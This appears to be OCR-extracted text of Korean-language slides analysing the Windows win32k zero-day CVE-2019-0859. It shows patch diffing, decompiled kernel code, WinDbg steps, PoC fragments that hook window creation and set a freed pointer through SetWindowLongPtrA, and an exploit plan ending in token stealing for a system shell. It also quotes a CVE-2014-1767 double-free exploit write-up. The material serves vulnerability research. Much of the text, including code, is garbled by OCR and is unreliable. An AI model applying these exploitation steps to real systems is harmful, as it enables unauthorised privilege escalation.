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# CVE-2019-0859 #1

Kaspersky LabOf|A] & 749t windows zeroday

@ Costin Raiu @ v
¥ @craiu

\

We found another Oday used in the wild, CVE-2019-
0859. This one seems to have been developed by the
prolific Oday maker and seller known as “Volodya".
Volodya sells Odays to both criminals and APTs

New win32k zero day: CVE-2019-0859
In March 2019, our automatic Exploit Prevention (EP) systems detected an
attempt to exploit a vulnerability in the Microsoft Windows operating system. ..
& securelist.com

2% 3:03-20194 4 18¥ - Twitter for iPhone



# Technial Detall #2
C

win32k.sys
Full Exploit Malware S0[Al LPEE ®I3HAl A& El win32k.sys Zeroday | 2fH

Detail 1
1. AERE HE7| 98 CreateWindowEx S5 M
2. Y= 2 £ O|E Na|st7| s WM_NCCREATE(0x81) MessageS 1= Z2AIXO|AH £

%
3. CreateWindowEx &5 AdEI7| MO 3AXE SetWindowHookEx 45 AT 2N
WM_NCCREATE MessageE =2 & &= U= Custom Callbacks a5 == ULt O]
ZUSt= \Window Procedure?t S =E|7| M0 S ==IC}

4. WM_NCCRATEO| = E&[= &2t Windows2| FNID(Function ID)= 022 X[FEIC}

# Technial Detail




# Technial Detall #2

FNID

Function ID2] QfxfEN DE YER QENMEE tagWNDQ| EZ HO|k|& O

O 2E &= Y=o SHAAIEH HYLA, HF)E Folstes o AHEEICH

=—1 |_ H 7

typedef struct taghND

struct _THRDESKHEAD head

tagWND TLEH|= Windows 72| Z<2 =
VOID* hModule
MSOl|Al =2 HSHX| 2 Window e e

* spwndNext

* spundPrev

* spundParent
struct _tagWND* spwndChild
struct _tagWND* spwndOwner
gRECT rcWindow
struct _tagRECT rcClient
PVOID lpfnkndProc

struct _tagCLS™ pcls

struct _HRGN__* hrgnUpdate
struct _tagPROPLIST* pproplist
gSBINFO* pSBInfo
struct _tagMENU* spmenuSys

100f| Al AFK| | AL,

FNIDO|| 2t FEATATF|O 2270 LA

om

struct

struct _tagMENU* spmenu

struct _HRGN__* hrgnClip

struct _HRGMN__* hrgnNewFrame

struct _LARGE_UNICODE_STRING strName
INT32 cbwndExtra

struct _taghND* spwndlLastActive

struct _HIMC__* hImc

ULONG32 dwlUserData

struct _ACTIVATION CONTEXT* pActCtx

struct _D3DMATRIX* pTransform

struct _tagWND* spwndClipboardListenerNext
ULONG32 ExStyle2

WHD, *PWND


https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/

# Technial Detall #2

Detail 2

1.

40
n

7t MElst Hook &0l -] Window ProcedureE HZ&S| & &= ULt F, EH =R
A 20 xxxTooltipWndProcZ} 7| 2% Q| Default Procedure@!d| 0| A4S ZX 2

xxxMenuWindoProcQ 2 HZAE 4= QICH= 2|0|0|LC}.

my!
rlo

O|AE &3l Hook &=L E O A CHZ Ol xxxMenuWindoProc2 MM St= = THELE
s = 5 Sl AFgARL

X2 CreateWindowExE 2/t Class& &
FI7tH 2 2 HIO|HE NETH7| 2ot 37

ZE SOl HolHE 2 =+ UL,

OT = © =
cbwndExtraZ2 ZtEE K2 2|0 HO|EE HAESHAH H™HSHH xxxMenuWindowProcO|
X7zt M2 HED HIiSIEE OtF 5= QUCH(return 0)

1

1 = CreateWindowExO| A OFX|2H0f| xxxFreeWindow &5 T =L}
cbwndExtra 2f2| A Z}0|| L2} ExFreeAllocateWithPool&t4=2| QIXIE ZAX}7} OIS LHZ

a1
=T o
Z™8g = QULE (Vulnerability) => 5t ?IX|2] poolE ZHME free 5= RULCL.



1 Diffing #3

Diffing
K S0l Windows 108 7|=2 XI8H 3= Diffings O] T tagWND AZE 0f2f

= =
H=0| 2OtUX| EA7| W20 SZH0 Windows 722 HASHFILY.

m TA YOO|E : OFX|T} 7|5 OI0|E O] HAE ZE EQs 14 42 IUO0| USLICE O] & &M &5 &
HIO|E £& LCUZtNSL|CE S 7|7 1GBE o2t He 52 WE F7t 2 5= K2 LEH o 2 K& 5= Win

dows 10 B{H 2| =3 =0 SX|ELCH

m Express EH0|E - 02f 7|E 7|82 7|E2 2 FA YHO|EHMH EE 718 Q42| S H2EEE A

Ch & =9 %4 5 2 LCUY = tepip.sys?t Z= |0 QA=LICH 4 HojjM 5 2, 3 XM 5 27X 9| 2E tcpip.sy
s I HA Al 5 2ol HEf 7|s EelAN M ASE ddatLch A H 2H 0| EE E8%s HAl= HEL
I ZZEEE MECI0 AFHO| A52 Z2FTH OIS 2% U 2= ESrL| O YErE e = O E 150-200MB 2
Z|YLCH S3Eo = EA| I A4 U2 A5 CHRZE 3 7|7 ZHOFE L CEH Windows Server Update Services (W
SUS), System Center Configuration Manager === @ A| & SO 0| EE X &ot= ELAF EO|0|E 22| A0 =& &
ZE A= 0lget A2 HO|ZEE =L T

m ZEF AOO|E : z[4 ZZ YO 0| EZ HAE 714 94 2t ZebElL o dE AG[0|E& ZA|0] 0]0] x|k &9l

LOO0|EZL A= H202t ZX|ELICL o £ =9, 5 20 tcpip.sys 2 nifs sysE B ZH2HX| 2 notepad.exe= HZ
SIX| QfCHD 7PgstL|Ct EEL YG0|EE CH2EEdte & | tepip.sys 3 ntfs.sysC| &[4 H{FHE 7t 2X| o
notepad.exew 7}H 2X| $&LCH 2E H0|E0|= HEE A +d 84 (71 L2 L OfL2hH) 7 ZEE Y

Ct ZatEc = YH0|E 27|7F E-& 300-500MBO| ZstL|Ct



# Diffing #3

EEE om0 M EDT ENTLL 2ESTUM 84 A0 E AT = Als LT

& Windows 10 Version 1803 for x64-based Systems 4493464 Security Update Elevation of Privilege Important 4489868
Windows 10 Version 1809 for 32-bit Systems 4493509 Security Update Elevation of Privilege Important 4489899
Windows 10 Version 1809 for ARM64-based Systems 4493509 Security Update Elevation of Privilege Important 4489899
Windows 10 Version 1809 for x64-based Systems 4493509 Security Update Elevation of Privilege Important 4489899
Windows 7 for 32-bit Systems Service Pack 1 4493472 Monthly Rollug Elevation of Privilege Important 4489878

urity On|
Windows 7 for x64-based Systems Service Pack 1 Monthly Rollug Elevation of Privilege Important 4489878
Security Or

AH0|E XLl msu I

o
Mo
|
rS)
L
Hu
k>
i
Im
A\
m
Hu
L
Ojot

HO[X|0|M Ct2S 4 UL

O 2 orgfe] BHAHE Sl cabWt S FEotD cabL 0N dll, syss O2] LtLS=

T 0ot

expand -f:* "windows10.0-kb4493464-x64_delta_b95ac1804f2658761d24cd202ffeac6bd7b0d8a8.msu”

Jextracted extract ZC 0 cab LY O| H7[H expand -F:* target.cab .




# Diffing #3

D& View-8 ﬁ Partial matches Diff pseudo-code xxxMenuiWindowProc - xxxMenuWindowProc [ ﬂ Unmatched in secondary ﬁ Unmatched in primary Q Best matches (3] Hex view-1 [A] Structures [ Enums E Imports E Exports

1_inté4 _ fastcall xxxMenuWindowProc(_inté4 al, unsigned int a2, _ inté4 a3, _ intéd ad) 1_int€4 _ fastcall zxxMenuWindowProc(_intéd al, unsigned int a2, _ intéd a3, _ intéd ad)

2{ 2(

3 _ intéd vi:r // rsill 3 _ intéd v4; // rsi@l

4 unsigned _ intéd v5r // rl2@l 4 unsigned _ intéd wS: // rl2@l

5 __intéd vé; // rlofl 5 __intéd ve; // rl0@l

€ signed int vi; // ebpll € signed int v7; // ebp@l

7 int vE; // ers@l 7 int v8; /f ersfl

& _ inté4 result: // rax@4 & __intéd result: // rax@4

9 inté4 v10: // rdiflo 9 _ intéd vl0: // rdi@s

10 _ inté4 wvll: // r3@l0 10 _ inted wll: // xBE9

11 __intéd v12; // rbx@l2 11 __intéd vlz; // rbx@ll

12 __intéd v13; /7 rdifl2 12 __intéd vl3; // rdifll

13 __inté4 vl4; // rax@l3 13 __intéd vl4; // rax@l2

14 __inté4 v1S: // rcx@l? 14 __intéd v15: // rcx@le

15 _QWORD *v1€: // rax@z0 15 _OWORD *v16: // rax@l9

16 s3igned _ int32 wl7: // eax@23 16 signed _ int32 v17: // cax@22

17 unsigned _ intéd v18; // rsifzé 17 unsigned _ intéd v1a; // rsif2s

18 unsigned _ intéd HighLimit; // [rsp+20h] [rbp-38h]@0 18 unsigned _inté4 Highlimit; // [rsp+20h] [rbp-38h]@0

18 18

20 v4 = 20

21 w5 21

22 vé 22

23 w7 23

24 w8 = 0; 24 = 0;

25 if ([ *(_WORD %) (al + €6) != €68 ) 25 if { *{_WORD *) (al + 66) !=

26 | 26 {

27 if ( *(_WORD *)(al + €€) || *(_DWORD *) (al + 232] + 29¢ 27 if ( *(_WORD *)(al + €€) || *({_DWORD *) (al + 232) + 296

28 return 0i64: 28 return 0i€4;

28 if (a2 != 128 ) 28 if (a2 != 129 )

30 return xzxDefWindowProc(al, a2, a3, vd); 30 return zxxDefWindowProc(al, a2, a3, v4);

31 if ( *(_QWORD *)(al + 296) || *(_QWORD *) (al + 304) ) 31 if ( A(_CWORD *) (al + 296) )

32 return 01647 32 return 01647

33 *(_WORD *)(al + €6) = €€3r 33 4(_WORD *) (al + €6) = €68;

34} 34}

35 V10 = *(_QWORD *)(al + 16); 35 V10 = *(_QWORD *) (al + 16}

36 vll = D *)sgptiCurrent; Mt omrnn :

23 (_QNORD *) sgpriCurr | jne Address Name Address 2 Name 2 Ratio BBlocks 1 BBlocks 2  Description

39 1c01be680 IsPointerinputTypeRedirected IsPointerinputTypeRedirected 0.940 Perfect match, same name

- - : ! bAddFIEnt 46 t match,

1z X MNFindWindowFromPoint 304 MMNFindWindowFromPoint ) 4 t match,

:: Tl i 0 'WndProc 4 SBWndProc ] ect match,
= 0ig4;

15 if (V13 ) xooiDesktopWndProcWorker(struct ta... B . ) : Perfect match, same name

:g { v toD b AP *str.. : toDIB(struct HBITMAP__ *str... t , 5ame name

a8 [ WindowProc : 369 t , 5ame name

19 w15 = * (_QWORD *) (v12 + &4 [N} 4 ooltipWndProc xoedTooltipwWndProc 4 49 t match, same name
P

gf l’gétcviﬂéka& tchWndProc chWndProc 0.460 [ t match, same name

52 if { *(_OWORD *}v13 != v1S5 |

53 1

54 ve = 1;

55 do . . . —_

B IDAO| A D = = =

57 w16 = *{_OWORD **) {v13 + 48): Ia p Ora I I ng

58 if ( 1v1E ) = o

59 break; . o E E‘l I_ —' . o 77'_314_ I_ 9" o

&0 v13 = *({_QWORD *) (v13 + 43); W|n1 O— | W|n7— o —

61 1 5 = 1 [ = A O

62 while { *v1é !'= w15 );

€3 }

74 if ( 1¥15 )

&5 1

GELABEL_35:

&7 v17 = *{_DWORD *)vl2; £ 1 (_DHORD %)¥12;

&8 if ( !_bittest{{const signed int *)svl7, 0xlDu) } 68 if ( !_bittest((const signed int *)svl7, O0xlDu) )

&9 i €9 1

70 : 70

71 _DHORD *)¥12 = v17 | 0x20000000; 71

72 #(_QWORD *) {v12 + 88) = *(_QWORD *) (v1l + 976); 72

1 4{ OWORD *) (w1l + 97é) = viZ: 1




# Diffing #3

xxXxMenuWindowProc

Previous Patch

if { al->wnd.w.fnid *= Bx29C )
{
if { ai->wnd.w.fnid || LODWORD{a1[1].und.head.h} + 296 < (unsigned int)=*{unsigned _ inti16 =){gpsi + 332)
return B8i6k;
if { message t= Ox81 )

return xxxDefWindowProc{{ intéd)al  meccann wPacam 1 1Param);
if { *{_QWORD =)&a1[1].wnd.w.hMod16| || a1[1]-wnd.spwndHext }
return Bi6k;
al->und.w.fnid = @x29C;
h

After Patch

if { al->fnid = Bx29C )
{
if ( al1->fnid || al1->cbundExtra + 296 < {unsigned int)={unsigned __ int16 =){gpsi + 332) )}
return Bi6k;
if { a2 *= 129 )

return xxxDefWindowProc{( intéu4)al, a2, a3, vh});
if { ai1[1]-head.h )}
recurily viua,

al-xfnid = Bx29C;




# Analysis #4

7lsE EE8MFH Sl FEME EEA Import SHM AFER = RULL

DX 1DA - win32ki64 (win32k sys) CwUserswtiqorsDesktopWCVE-2019-0859%windows T#After Patchi#win32kisd
File Edit Jump Search View Debugger Options Windows Help

Mew instance () | Windbg debugger | %=l
f Open... I
Load file L Reload the input file
Produce file * % Additional binary file..
Diff Database... Shift+D BinDiff Results...
& Script file. Alt+F7 IDS/DT file..
= Script command.. Shift+F2 PDB file...
H save Ctrl+W DBG file...
Save as.. TDS file...
T Take database snapshot Ctrl+ShiftsW  GH  FLRT signature file...
Close Parse C header file... Ctrl+F9

0| 7|52 Windows 71} Windows 107t A2 Al 20| CI2 40k & 80| 7t

Produce file > Create MAP file
Diff Database... Shift+D %9 Create ASM file... Alt+F10
& script file Alt+F7 % Create INC file..
&% script command shift+F2 Create LST file...
= Ctrl-w Create EXE file.
Save as... Create DIF file
@ Take database snapshot Ctrl+Shift=W Create C file.. Ctrl+F5
Close Create HTML file...
Quick start -
0. C:WUsersitlqorDesktopWCVE-2019-0859%windows 7#Pre PatchWwin32k ig4 W I n -
1. C:¥#Userswilqori#DesktopWCVE-2019-0859%windows 7¥#After Patchwwin32k i64 3] Create C header f
2 Al learewHnnrdNec b tanbCVE_DN1 0 NAS0WwinAmye 7WDra Datrhiintncbrnl ave



# Analysis #4

WRKE 0|83t HE E4E

WRK= Window Research Kernel2| X2 MSOIAM W &7|2H0|H St&5E8C = L2 HE
A YESHM CHE R 7ts
https://github.com/Sheisback/Windows-Research-Kernel-Hacking
https://github.com/Sheisback/wrk-v1.2

>
>

The Windows Resesarch Kernel vl1.2 contains the sources for the core of
the Windows (MNTOS) kernel and a bulld environment for & kernel that will run on
] (Windows Server 2883 Service Pack 1) and
amd&d (Windows XP x84 Professional)
A future version may also support booting WRK kernels on Windows XP %86 systems,
but the current kernels will fail to boot due to i
structures. d



https://github.com/Sheisback/wrk-v1.2
https://github.com/Sheisback/Windows-Research-Kernel-Hacking

# Analysis

IDAS &85l Kernel C|H 4

oA

UIZ QI5f CjHZ0| H

= ]

oA
not

oz

#4

@

» @ O Windbg debugger DO @ @R

I Library function [ Data W Regular function  Unexplored [ Instruction [ External symbol

Debug View B @& Structures
DA View-RIP
[]
mcupdate_AuthenticArD: 5
mcupdate_AuthenticAMD :FFFFF80BB2EE3408
mcupdate_AuthenticAMD:FFFFF80002EE3400
RIK 3
mcupdate_AuthenticAMD :FFFFF80002EE3 401
mcupdate_AuthenticAMD: 13
ecch ;
8cch ;
8cch ;5
ecch ;
ecch ;
8cch ;
BFh
1Fh
8uh ;
L]
]
L]
L]
L]
WSh 5 E
8Bh ;
ecsh 3
44h 5 D
UNENOWN FFEEFS0002EE3400: mcupdate AuthenticAMD:nt_RtlpBreakWithStatuslnstruction (Synchronized with RIP)
[E] Hex View-1
W Please wat.. X
Fiunning

FEFFFFEEFFFFFEFE: FEFEFFFFEEFFEFFR

=] Output window

FFFFF96008640000: loaded cdd.dll
FFFFF880051B200 loaded luafu.sys
FFFFF888051D500 loaded 1ltdio.sys

FFFFF880050000008: loaded rspndr.sys
FFFFF88084BEB GO HTTP.sys
FFFFF880041B000 bouser .sys
FFFFF880041CD 00 npsdru.sys
FFFFF8800400000 nrxsmb.syYs
FFFFF880084062D 00 nrxsmb10.5ys
FFFFF8800407B00 nrxsmb20.sys
FFFFF8800409F 00 vnnenctl.sys
FFFFF88004CC4000: loaded peauth.sys
FFFFF880B4DGE 00 srunet.sys
FFFFF88004D9F 00 topipreg.sys
FFFFF88004C00000: loaded sru2.sys
FFFFF880085661080 SKu.sys
FFFFF8808856F 800 umhgfs.sys

WINDEG



https://www.hexblog.com/?p=123

# Analysis #4
-

A8 Windbg Plugin

https://github.com/mbikovitsky/WingDbg

https://github.com/progmboy/win32kext

https://github.com/panoramixor/GDIObjDump

-r-

R

J

wingDbg : window 8 O|HH{ MO A FHE LI ZA| register 2£0] H4
Otz|= 7} QS lregfix HHOZ SjT HIE Fix

win32kext : SURFACE Object@} Z2 GDI StrctureE ParsingdfF= S2{ 19l
GDIObjDump : Kernel|A| GDI ObjectE& &0t EEZgjF= E2{1Ql


https://github.com/mbikovitsky/WingDbg
https://github.com/progmboy/win32kext
https://github.com/panoramixor/GDIObjDump

# Analysis #4

olct

Q| T} M

B MSE LU L2 Technical Detail0f| C} Moj=Qoco 2

Of A merztes X =of S ET X}

rot

=8

rot

HEE22 X al[1]l.wndw.hMod161} al[1].wnd.spwndNext® (Diffing0lAl F2)

ULt 2ol FEI S E LHEZ 7|HCE return 02 St & THE= 7 S50

=
i
m

if { al->und.w.fnid %= Bx29C )
{

if { al->uwnd.w.fnid || LODWORD{a1[1].wnd.head.h} + 296 < (unsigned int}={unsigned _ int16 =)(gpsi + 332)
return 8i6k;

if { message %= Ox81 )
return xxxDefWindowProc{{_ int64)al _meccana wParam 1 I1Param);

if { *( QUORD =)&a1[1].wnd.w.hMod16 || a1[1]-wnd.spundHext }
return BiGk;

al->uwnd.w.fnid = Bx29C;




# Analysis #4

2t N 229 HO|H7F fEA L == X| 7] 25k
xxxCreateWindowEx, HMAllocObjectE &4

HMAIllocObjectE £M3HM QUXE S0{7t= bTypeO| 121 F
RtlAllocateHeap2 BHSO0IM &2 €A return SiECHE WS
x128

size : tagWND(0x128) + cbwndExtra

xxxCreateWindowEx HMAIllocObject

LABEL_13:

=TT ST T o o =T =TT if ( t(ul1@ & 8x18) || w9 )
A S TR LML W Ras - L g - aurgy

{
v2h = HHMAllocObject{uv243, vi1, 1u, v23}); PRI

LODWORD(vi16) = RtlAllocateHeap(gpvSharedfAlloc, 8);
VLD — L UgwWuUnLU T aus o, oo o,
" »

v263 = { QWORD =)u2h;

if { tu2h ) ¢ u17 = w9 B2 u1D & 0x20;

ExnllncatePnulllltnTag((PUUL TYPE)33, w7, gahti[u8 + 1]);

= Exnllm:atePuullllthUuntaTag((PUULiI\'FE)!H, v7, gahti[uv8 + 1]);

nemset(u18 8, v7);

H
LABEL_29:




# Analysis #4
-

Tip
ofeHo| HEOIS BRI break point Al 21E W 4 U

o =

960" 0014133d ".printf \"rcx:0x%1ly, rdx:0x%1lly, r8:0x%1ly, r9:0x¥1ly\n\", @rcx, @rdx, @rs8, @ro"
win32k!HMAllocObject+0x149 " .printf \"rcx:0x%1ly, rdx:0x%1ly, r8:0x%1ly, r9:0x¥%¥1ly\n\", @rcx, @rdx, @r8, @ro"
win32k!HMAllocObject+0x12D ".printf \"rcx:0x%lly, rdx:0x%lly, r8:0x%lly, r9:0x%1ly\n\", @rcx, @rdx, @r8, @ro"

win32k!HMAllocObject+0xF@" .printf \"rcx:0x%1ly, rdx:0x%lly, r8:0x%1ly, r9:0x%1ly\n\", @rcx, @rdx, @r8, @ro"
win32k hooCreateWindowEx+8x32d ™ .printf \"rcx:0x%1ly, rdx:0x%lly, r8:0x%lly, r9:@x%1ly\n\", @rcx, @rdx, @r8, @ro"
win32k hooCreateWindowEx+@x332 “.printf \"result rax:0x%11ly\n\", @rax™




# Analysis

*‘rilrsH}s_' ' Allocation of GDI and USER objects

Ve USER objects (window, dde conv, hook, menu...):
1. Allocated by HMAIlocObject.
2. Can be allocated on Desktop heap, Shared heap,

depending on object type.
3. We can read Desktop heap from usermode.

* GDI objects (bitmap, brush, pen...):
Allocated by HmgAlloc.

Can be allocated from . Also, there are lookaside lists
with previously allocated blocks.

On the next slides we’ll reference PagedSessionPool as GDI pool.

* Size of tagWND extra data is located in field tagWND.cbwndExtra.



https://2016.zeronights.ru/wp-content/uploads/2016/12/Win10LPE.pdf

# Analysis #4

Window Extra Data

® Two APIs:

LONG WINAPI SetWindowLongW( HWND hWnd, int nIndex, LONG dwNewLong);
LONG WINAPI GetWindowLongW( HWND hWnd, int nIndex);

tagWND

+0x000 head
+0x058 spwndParent
+0x090 IpfnWndProc
sizeof(tagWND)—
+0x0d8 strName
+0x0e8 cbwndExtra
.......................................... AT b ten e 4
0
L
_________ 2
cbwndExtra—— Window Extra Data P 3
4
(YTRN e A iy 5
@ BREER




# Analysis #4

SetWindowlLongPtrA(hTarget, 8, 8x31313131);

£

ff£££900° 083142  O0000000O° OO0OO0OO0O0 df430000 00000000
1: kdy dg @rl10+0=128

f££££900°=0831c=8 000000007 31313131 00000000 0OO0OOOOO
fE£££900° =0831c£8 00000000 Q0000000 OOO0O0QO0OO0 Qo0ao0a0n
tf£££900°=0831408 00000000 QOOOOOOO OOOOOOOOOQOOCOOOOO
f££££900°=0831d18 00000000 0Q0O0OOO0O OOO0OO0OOO OOO0OO0OOO
fE£££900° 0831428 00000000 Q0000000 OQO0O0QO0O0 @o0ao0aon
tf£££900°=0831438 00000000 QO0OO0OOOO OOOOOOOOOOOQOOOOO
f££££900°=0831d48 00000000 Q0O0O0O0O OOOOOOOO OOO0OOOOO
tf£££900°=0831458 00000000 QO0OO0OOOO OOOOO0OO0O OOO0OOOOO

£

if ( ai[1].head.h )
return BiGh;

if { pwnd[1].head.h || *(_QEEHD *}&pwnd[1] .head.cLockObj } /
return Bi6h;
und->fnid = Bx29C;




# Analysis #4

xxxFreeWindow

if { (lpwnd->w.fnid & Bx3FFF) == @x29C )
ui3h = 1pwnd;

if { uvi3h )

4
v135 = (int *)u134[1].w.hModule;

F 5 B L ey |

{
v136 = =u135;
if { bittest(&v136, Bx1Eu) )}
{
#*u135 = vi36 & B=7FFFFFFF;

¥

else if ( u135 == &gpopupMenu }
{

gdwPUDFlags &= OxFFYFFFFF;
¥

else

1
ExFreePoolWithTag{u134[1].w-hHodule, B8);
u134[1] .w.hModule = Bi6h;




# Make PoC #5

Ao EMZ Sl ExFreePoolWithT agE RE|7t Aste FAR Y F= UCt= A2 LAE
SHX|EE X E 20| Kernel Object?| FAE E0{0}

HMValidateHandle

https://github.com/sam-b/windows kernel address leaks

Ol == QEHMEDO| X OIEF Leakst= Ol AHEEICL
20113 Kernel Attacks Through User-Mode CallbacksZt =20A M-S 2707t £ AL,

=2 A3t 21, Window Manager= HMValidateHandle | €2

APIE 2 =00} O] 52 AZ2| 2t S22 Types 2AXZM F 1
¢i= HO|=0| 20 &= 240 U= K| =QIotrt BHok 2 FEl EFYQ

Object?} ZX{SHCHH, gt=0f 2|5 1 Objecte| ZEQIE{ZL0| 2| H EICH

Windows 10 Restone 4.00{| A Mitigation0O| M &


https://github.com/sam-b/windows_kernel_address_leaks
https://www.offensive-security.com/vulndev/development-of-a-new-windows-10-kaslr-bypass-in-one-windbg-command/

# Make PoC #5

FindHMvalidateHandle

(hUse
printf(

(pIsMenu '
print i 0 d i sMenu’ within us

Of fset
] 5 i++)

pIsMenu + uiHMvalida of -
)pIsMenu - (uns =d int)hUser32) + addr;

_PTR)hUse + offset + 11);




# Make PoC #5

STRUCT *cwp
(Cwp->message ==

(hTarget ==

hTarget = cwp->hwnd;
SetWindowLongPtrA( cwp->hwnd, , (LONG_PTR) - Bx48);

SetWindowlLongPtrA(hTarget, 8, (LONG_PTR)freeAddr);

CallNextHookEx(®,




# Make PoC #5

R
2. kd» ¥ ntdllINtdll#*WndFroc*
00007 ffa" 4b0bdel0 ntdll!HtdllStaticWndProclorker (<no parameter infor)
O0o007ffa” 4b0b4cE0 ntdllIHtdl1IHDIClientWndProc 4 {(<no parameter info:)
oo07ffa” 4b0bdcel ntdllIHtdl1HDIClientWndProc W {<no parameter info:)
00007 ffa" 4b0b4d90 ntdll!'HtdllButtonWndProclorker (<no parameter info:r)

00007ffa 4b0bddc0
00007ffa” 4b0b4cl
00007ffa” 4b0b4df0
00007ffa 4b0bddal
00007ffa” 4b0b4c20
00007ffa” 4b0b4ad0
00007ffa” 4b0bdasl
00007ffa” 4b0bdabl
00007ffa” 4b0bdacO
00007ffa” 4b0b4bb0
00007ffa” 4b0b4b10
00007ffa” 4b0b4b20
00007ffa” 4b0bddel
00007ffa” 4b0b4ci0
0o007ffa” 4b0b4d=20
00007ffa” 4b0bdell

ntdl]l IHtdl1lDialogWndProcWorker {<no paramseter info:)
ntdl]l IHtdl1EditWndProc_& (<no parameter info:)
ntdllHtdl11HDIClientUndProcWorker (<no parameter inf:
ntdl]l IHtdllConboBoxWndProcWorker {<no parameter info
ntdl]l IHtd1l1lEditWndProc_ W (<no parameter info:)
ntdll!Htdl1lTitleWndProc_& (<no parameter infor)
ntdl]l IHtd1l1lTitleWndFroc W {<no paramseter info:)
ntdll IHtd1l1ScrollBarWndProc A (<no paramster info:r)
ntdll!Htdl1lScrollBarUndProc W (<no parameter infor)
ntdl]l IHtdllConboBoxWndProc A4 {(<no paramster info:)
ntdll 'HtdllDesktopWndProc_A (<no paramster info:)
ntdll!HtdllDesktopWndProc W (<ho paramster info:)
ntdl]l IHtdllLi=tBoxWndProclorker (<no param=ster info:
ntdll!HtdllStaticWndProc_ W (<no parameter infor)
ntdll!HtdllGhostWndProclorker (<no parameter infor)
ntdl]l IHtdllIneWndProcWorker | <no parameter info:)

N0007ffa" db0b4b00 ntdll!Htdll1HenuWndProc W (<no paranster info:

nuny a2 4po0pdcll
00007ffa” 4b0b4b90
00007ffa” 4b0b4afl
00007ffa” 4b0b4bi0
00007ffa 4b0b4dd0
00007ffa” 4b0b4bz0
00007ffa” 4b0bdccO

ntdllTHidI Il alogfndFroc_ no paramnseter intos)
ntdll!HtdllButtonWndProc_& (<no parameter infaor)
ntdll IHtd]l1MenulWndProz_A& (<no parameter info:)
ntdl]l IHtdl1lDialogWndProc 4 {<no parameter infor)
ntdll!Htdl1lEditWndFrocWorker (<no parameter infor)
ntdll INtd]llComnboBoxWndPros W {<no paramseter info:)
ntdl]l IHtdl1lGho=stWndFroc W {<no paramseter info:)

1000 a" dbhibdb40 ntd |}t Def WindogFroc T o paranpste info

g a 4bUb4L/1 ntd TNtd witchllindowFroc_& (<no parameter into:)
00007ffa" 4b0b4d30 ntdll!NtdllDispatchDefWindovwProc_ A (<no parameter infor)
00007ffa " 4b0b4b80 ntdll ! HtdllSwitchWindowFroo W {<no parameter info:)
00007ffa 4b0bd4be0 ntdll!HtdllMessageVindowFProc W (<no parameter info:)
00007ffa" 4b0b4b30 ntdll!NtdllDefWindowProc_ 4 (<no parameter info:r)
00007ffa 4b0b4dd40 ntdll ! HtdllDispatchDeiWindowFProc W {<no paramster info:)
00007ffa 4b0b4bs0 ntdll ! HtdllMessageVindowProc_ & (<no parameter info:)

0: kd: = ntdll!#*WindowProc* 100




# Make PoC #5

and windows has been shut down to prevent damage

= }-"I‘IIJ L)
If this

to make sure any new hardware or software is proper
If this is r installation, as rour hardware or software
for any windows updates you might need.

alled
ing or
U need to use lode to ble components
: iter, pr 8 5 ctoA of 1o rtup options, and then
g Mode.

Technical dnformation:

005, DxFFFFFOE
Address FFFFF9E

dump
dump




# Make Exploit #6

Vulnerability => ExFreePoolWithTag® 3 Z X7t »St= Pool ObjectE Freed = ULt

Test

CreateWindowExZ C}E Window K| E THE & FAE S E2|75tL BadPoolCallerEt
BSOD &4

=> [CtE2 Window= Pool ObjectZ} OfL|2} Desktop HeapOll ZX5t= ObjectO| 22
ExAllocatePoolWithTag &+& &3l &Y El ObjectftO] 7t

8: kd» !analyze -v

Bugcheck Analysis

BAD_POOL_CALLER (c2

The current thread is making a bad pool request. Typically this is a
t a bad IRQL level or double freeing the same allocation, etc
Arguments:

Argl: 2000200080000087, Attempt to free pool which was already freed
Arg2: 200e80000800189b, Pool tag value from the pool header

Arg3: eoe2eepeeseoese’, Contents of the first 4 bytes of the pool hea
der

Argd: fffffopecegiffde, Address of the block of pool being deallocate

d

Debugging Details:



# Make Exploit #6

Exploit strategy
1. Object (Menu, Window &) ExAllocateWithPoolTagES O|&3lA S L= ObjectE MHE
2. SiE ObejectE Free® (DestoyObject&2| &t AtE)

3. Read/Write PrimitiveE ZFS7| /3l Bitmap ObjectE “4-d (Large Pool)

4. Bitmap Object2t O|HO0f| Free H S 72| AFO|=7F Z 2™ Bitmap Object”t FreeE E 0|
SHoHE|
= O O

5. Bitmap ObjectE F4E= O|E3H Free AlH

6. S Free®l 57t L7t |StE DataZ A= = U= User Object X5 &SI Fake
Bitmap HeaderZ DataS MYZ

7. Bitmap Object2| SetBitmapBits, GetBitmapBitsE 0| &3l Read/Write Primitive 2t

8. Token StealingE &3t0 system shell &2

http://www.secniu.com/englishversioncve-2014-1767-afd-sys-double-free-vulnerability-analysis-

and-exploit/



http://www.secniu.com/englishversioncve-2014-1767-afd-sys-double-free-vulnerability-analysis-and-exploit/

# Make Exploit #6

[0x02]. Double-free Vulnerability exploit

a. general steps:(from the PDF paper)

[1]. Invoke DeviceloControl with IoControlCode = 0x1207F, free MDL Object

[2]. Create one kernel object X to occcupy the freed space

[3] . Invoke DeviceloControl with IoControlCode = 0x120C3, and now because double-free bug w
e'll free the object X we just created

[4]. Occupy the freed object X space with our controlled data (double free to use after free)

[5]. Try to invoke one function which can operate on the Object X, and the function have the abilit
y to finish one "any dword write to any address’, consider in [4] we have controlled the object filed
s, so this can be possible, all needed is the function have some internal statements to use our obj
ect content as address ! if we find such object with this perfect function, we will try to hijack HalD
ispatchTable

[6] in user mode trigger HalDispatchTable function invoked, than we can flow to kernel mode shel
Icode

b. What's the Object X ?
Object X is used as use-after-free object, there are two restrictions here:

(1) the allocated size should be equal as the freed MDL size

(2} the object must have some functions which we can internally finish one *anywhere write any
thing’

for (1), we don't need to worry, because we can control the freed MDL size !, as mentioned above
, AfdTransmitFile allocate MDL using our supplied virtual address and length. So we can control M
DL size. More detail:

F
for (2), it's tricky and hard to find such per‘fect funhtlon we reference the PDF paper and found "W
orkerFactory’ Object. We can create WorkerFactory ob]ec by NtCreateWorkerFactory. And the perf
ect function is NtSetInformationWorkerFactory, let’s have a look at its code:
uil = ={_DWORD =)argl;
LABEL_48:
vi? = uil;
LABEL _&4:
ns_exc.registration.Trylevel = -2;
result = ObReferenceObjectByHandle{Handle, 4u, ExpWorkerFactoryObjectType, AccessHode[8], &bject, 8);
if { result < 8 )
return result;
if { arg? == 8 )
{
if { te11)
ull = ={_DUORD =)KeMumberProcessors;
*{_DWORD =){={_DWORD =)(={_DWORD =)0bject + 8x18) + 8x1C) = vil;
ObfDereferencedbject{0bject);
return 8;

¥
We find there's one assignment statement inside, and after analysis the control flow would reach h
